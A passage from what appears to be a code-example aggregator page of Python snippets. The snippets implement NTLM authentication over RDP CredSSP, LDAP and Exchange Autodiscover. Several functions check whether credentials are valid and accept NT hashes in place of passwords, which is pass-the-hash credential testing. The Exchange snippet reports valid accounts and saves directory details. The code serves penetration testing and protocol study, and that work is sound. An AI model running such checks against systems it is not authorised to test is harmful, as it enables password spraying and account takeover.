        # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
        # structure and is sent over the encrypted TLS channel to the client.
        # The addition of 1 to the first byte of the public key is performed so that the
        # client-generated pubKeyAuth message cannot be replayed back to the client by an
        # attacker.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
        # fields are omitted from the TSRequest structure.

        ts_request = TSRequest(buff)

        # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
        signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])

        # 5. After the client successfully verifies server authenticity by performing a
        # binary comparison of the data from step 4 to that of the data representing
        # the public key from the server's X.509 certificate (as specified in [RFC3280],
        # section 4.1), it encrypts the user's credentials (either password or smart card
        # PIN) by using the SPNEGO encryption services. The resulting value is
        # encapsulated in the authInfo field of the TSRequest structure and sent over
        # the encrypted TLS channel to the server.
        # The TSCredentials structure within the authInfo field of the TSRequest
        # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
        # but MUST NOT contain both.
        #
        # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
        # fields are omitted from the TSRequest structure.
        tsp = TSPasswordCreds()
        tsp['domainName'] = domain
        tsp['userName'] = username
        tsp['password'] = password
        tsc = TSCredentials()
        tsc['credType'] = 1  # TSPasswordCreds
        tsc['credentials'] = tsp.getData()

        signature, cripted_creds = cipher.encrypt(tsc.getData())
        ts_request = TSRequest()
        ts_request['authInfo'] = signature.getData() + cripted_creds
        tls.send(ts_request.getData())
        tls.close()
        # logging.info("\rAccess Granted\n")
        sys.stdout.write('\r[+] [%s:%s] Access Granted\n' %
                         (username, password))
        return True
Пример #25
0
    def check_rdp(host, username, password, domain, hashes = None):

       if hashes is not None:
           lmhash, nthash = hashes.split(':')
           lmhash = a2b_hex(lmhash)
           nthash = a2b_hex(nthash)

       else:
           lmhash = ''
           nthash = ''

       tpkt = TPKT()
       tpdu = TPDU()
       rdp_neg = RDP_NEG_REQ()
       rdp_neg['Type'] = TYPE_RDP_NEG_REQ
       rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
       tpdu['VariablePart'] = str(rdp_neg)
       tpdu['Code'] = TDPU_CONNECTION_REQUEST
       tpkt['TPDU'] = str(tpdu)
   
       s = socket.socket()
       s.connect((host,3389))
       s.sendall(str(tpkt))
       pkt = s.recv(8192)
       tpkt.fromString(pkt)
       tpdu.fromString(tpkt['TPDU'])
       cr_tpdu = CR_TPDU(tpdu['VariablePart'])
       if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
           rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
           rdp_failure.dump()
           logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
           return
       else:
           rdp_neg.fromString(tpdu['VariablePart'])

       # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

       # 1. The CredSSP client and CredSSP server first complete the TLS handshake, 
       # as specified in [RFC2246]. After the handshake is complete, all subsequent 
       # CredSSP Protocol messages are encrypted by the TLS channel. 
       # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS 
       # handshake, the CredSSP server does not request the client's X.509 certificate 
       # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require 
       # the client to have a commonly trusted certification authority root with the 
       # CredSSP server. Thus, the CredSSP server MAY use, for example, 
       # a self-signed X.509 certificate.

       # Switching to TLS now
       ctx = SSL.Context(SSL.TLSv1_2_METHOD)
       ctx.set_cipher_list('RC4,AES')
       tls = SSL.Connection(ctx,s)
       tls.set_connect_state()
       tls.do_handshake()

       # If you want to use Python internal ssl, uncomment this and comment 
       # the previous lines
       #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

       # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client 
       # and server completes mutual authentication and establishes an encryption key 
       # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. 
       # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to 
       # the calling application (the CredSSP client and CredSSP server). 
       # The wire protocol for SPNEGO is specified in [MS-SPNG].
       # The SPNEGO tokens exchanged between the client and the server are encapsulated 
       # in the negoTokens field of the TSRequest structure. Both the client and the 
       # server use this structure as many times as necessary to complete the SPNEGO 
       # exchange.<9>
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 
       # field is omitted by the client unless the client is sending the last SPNEGO token. 
       # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 
       # both the negoToken and the pubKeyAuth fields filled in.

       # NTLMSSP stuff
       auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)

       ts_request = TSRequest()
       ts_request['NegoData'] = str(auth)

       tls.send(ts_request.getData())
       buff = tls.recv(4096)
       ts_request.fromString(buff)

   
       # 3. The client encrypts the public key it received from the server (contained 
       # in the X.509 certificate) in the TLS handshake from step 1, by using the 
       # confidentiality support of SPNEGO. The public key that is encrypted is the 
       # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 
       # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 
       # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 
       # the TLS channel to the server. 
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure; the client MUST send its last SPNEGO token to the 
       # server in the negoTokens field (see step 2) along with the encrypted public key 
       # in the pubKeyAuth field.

       # Last SPNEGO token calculation
       #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
       type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)

       # Get server public key
       server_cert =  tls.get_peer_certificate()
       pkey = server_cert.get_pubkey()
       dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

       # Fix up due to PyOpenSSL lack for exporting public keys
       dump = dump[7:]
       dump = '\x30'+ asn1encode(dump)

       cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
       signature, cripted_key = cipher.encrypt(dump)
       ts_request['NegoData'] = str(type3)
       ts_request['pubKeyAuth'] = str(signature) + cripted_key

       try:
           # Sending the Type 3 NTLM blob
           tls.send(ts_request.getData())
           # The other end is waiting for the pubKeyAuth field, but looks like it's
           # not needed to check whether authentication worked.
           # If auth is unsuccessful, it throws an exception with the previous send().
           # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 
           # anything. So, I'm sending garbage so the server returns an error. 
           # Luckily, it's a different error so we can determine whether or not auth worked ;)
           buff = tls.recv(1024)
       except Exception, err:
           if str(err).find("denied") > 0:
               logging.error("Access Denied")
           else:
               logging.error(err)
           return
Пример #26
0
    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = 3

        if authenticationChoice == 'simple':
            if '.' in domain:
                bindRequest['name'] = user + '@' + domain
            elif domain:
                bindRequest['name'] = domain + '\\' + user
            else:
                bindRequest['name'] = user
            bindRequest['authentication']['simple'] = password
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['name'] = user
            bindRequest['authentication']['sicilyPackageDiscovery'] = ''
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:
                    lmhash = '0' + lmhash
                if len(nthash) % 2:
                    nthash = '0' + nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except TypeError:
                    pass

            bindRequest['name'] = user

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication']['sicilyNegotiate'] = negotiate
            response = self.sendReceive(bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = response['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication']['sicilyResponse'] = type3
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(errorString="Unknown authenticationChoice: '%s'" % authenticationChoice)

        if response['bindResponse']['resultCode'] != ResultCode('success'):
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
                                                                response['bindResponse']['diagnosticMessage'])
            )

        return True
    def check_rdp(host, username, password, domain, hashes = None):

       if hashes is not None:
           lmhash, nthash = hashes.split(':')
           lmhash = a2b_hex(lmhash)
           nthash = a2b_hex(nthash)

       else:
           lmhash = ''
           nthash = ''

       tpkt = TPKT()
       tpdu = TPDU()
       rdp_neg = RDP_NEG_REQ()
       rdp_neg['Type'] = TYPE_RDP_NEG_REQ
       rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
       tpdu['VariablePart'] = str(rdp_neg)
       tpdu['Code'] = TDPU_CONNECTION_REQUEST
       tpkt['TPDU'] = str(tpdu)
   
       s = socket.socket()
       s.connect((host,3389))
       s.sendall(str(tpkt))
       pkt = s.recv(8192)
       tpkt.fromString(pkt)
       tpdu.fromString(tpkt['TPDU'])
       cr_tpdu = CR_TPDU(tpdu['VariablePart'])
       if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
           rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
           rdp_failure.dump()
           logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
           return
       else:
           rdp_neg.fromString(tpdu['VariablePart'])

       # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

       # 1. The CredSSP client and CredSSP server first complete the TLS handshake, 
       # as specified in [RFC2246]. After the handshake is complete, all subsequent 
       # CredSSP Protocol messages are encrypted by the TLS channel. 
       # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS 
       # handshake, the CredSSP server does not request the client's X.509 certificate 
       # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require 
       # the client to have a commonly trusted certification authority root with the 
       # CredSSP server. Thus, the CredSSP server MAY use, for example, 
       # a self-signed X.509 certificate.

       # Switching to TLS now
       ctx = SSL.Context(SSL.TLSv1_METHOD)
       ctx.set_cipher_list('RC4')
       tls = SSL.Connection(ctx,s)
       tls.set_connect_state()
       tls.do_handshake()

       # If you want to use Python internal ssl, uncomment this and comment 
       # the previous lines
       #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

       # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client 
       # and server completes mutual authentication and establishes an encryption key 
       # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. 
       # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to 
       # the calling application (the CredSSP client and CredSSP server). 
       # The wire protocol for SPNEGO is specified in [MS-SPNG].
       # The SPNEGO tokens exchanged between the client and the server are encapsulated 
       # in the negoTokens field of the TSRequest structure. Both the client and the 
       # server use this structure as many times as necessary to complete the SPNEGO 
       # exchange.<9>
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 
       # field is omitted by the client unless the client is sending the last SPNEGO token. 
       # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 
       # both the negoToken and the pubKeyAuth fields filled in.

       # NTLMSSP stuff
       auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)

       ts_request = TSRequest()
       ts_request['NegoData'] = str(auth)

       tls.send(ts_request.getData())
       buff = tls.recv(4096)
       ts_request.fromString(buff)

   
       # 3. The client encrypts the public key it received from the server (contained 
       # in the X.509 certificate) in the TLS handshake from step 1, by using the 
       # confidentiality support of SPNEGO. The public key that is encrypted is the 
       # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 
       # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 
       # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 
       # the TLS channel to the server. 
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure; the client MUST send its last SPNEGO token to the 
       # server in the negoTokens field (see step 2) along with the encrypted public key 
       # in the pubKeyAuth field.

       # Last SPNEGO token calculation
       ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
       type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)

       # Get server public key
       server_cert =  tls.get_peer_certificate()
       pkey = server_cert.get_pubkey()
       dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

       # Fix up due to PyOpenSSL lack for exporting public keys
       dump = dump[7:]
       dump = '\x30'+ asn1encode(dump)

       cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
       signature, cripted_key = cipher.encrypt(dump)
       ts_request['NegoData'] = str(type3)
       ts_request['pubKeyAuth'] = str(signature) + cripted_key

       try:
           # Sending the Type 3 NTLM blob
           tls.send(ts_request.getData())
           # The other end is waiting for the pubKeyAuth field, but looks like it's
           # not needed to check whether authentication worked.
           # If auth is unsuccessful, it throws an exception with the previous send().
           # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 
           # anything. So, I'm sending garbage so the server returns an error. 
           # Luckily, it's a different error so we can determine whether or not auth worked ;)
           buff = tls.recv(1024)
       except Exception, err:
           if str(err).find("denied") > 0:
               print "[*] Access Denied"
           else:
               logging.error(err)
           return
Пример #28
0
def getUsersetting(host, port, mode, email, data):
    autodiscover_url = "/autodiscover/autodiscover.svc"
    tmp = email.split('@')
    user = tmp[0]
    POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <a:RequestedServerVersion>Exchange2013_SP1</a:RequestedServerVersion>
    <wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
    <wsa:To>https://{domain}/autodiscover/autodiscover.svc</wsa:To>
  </soap:Header>
  <soap:Body>
    <a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
      <a:Request>
        <a:Users>
          <a:User>
            <a:Mailbox>{mail}</a:Mailbox>
          </a:User>
        </a:Users>
        <a:RequestedSettings>
          <a:Setting>UserDisplayName</a:Setting>
          <a:Setting>UserDN</a:Setting>
          <a:Setting>UserDeploymentId</a:Setting>
          <a:Setting>InternalMailboxServer</a:Setting>
          <a:Setting>MailboxDN</a:Setting>
          <a:Setting>PublicFolderServer</a:Setting>
          <a:Setting>ActiveDirectoryServer</a:Setting>
          <a:Setting>ExternalMailboxServer</a:Setting>
          <a:Setting>EcpDeliveryReportUrlFragment</a:Setting>
          <a:Setting>EcpPublishingUrlFragment</a:Setting>
          <a:Setting>EcpTextMessagingUrlFragment</a:Setting>
          <a:Setting>ExternalEwsUrl</a:Setting>
          <a:Setting>CasVersion</a:Setting>
          <a:Setting>EwsSupportedSchemas</a:Setting>
          <a:Setting>GroupingInformation</a:Setting>
        </a:RequestedSettings>
      </a:Request>
    </a:GetUserSettingsRequestMessage>
  </soap:Body>
</soap:Envelope>
'''
    DomainName = input("Input the domain name of the exchange server(not ip):")
    POST_BODY = POST_BODY.format(domain=DomainName, mail=email)

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", autodiscover_url, POST_BODY, headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (autodiscover_url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!] Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, host, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", autodiscover_url, POST_BODY, headers)
    res = session.getresponse()
    body = res.read()
    filename = "getUsersetting.xml"
    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False

    else:
        print('[+] Valid:%s %s' % (user, data))
        #print(body)
        print('[+] Save response file to %s' % (filename))
        with open(filename, 'w+', encoding='utf-8') as file_object:
            file_object.write(bytes.decode(body))
        return True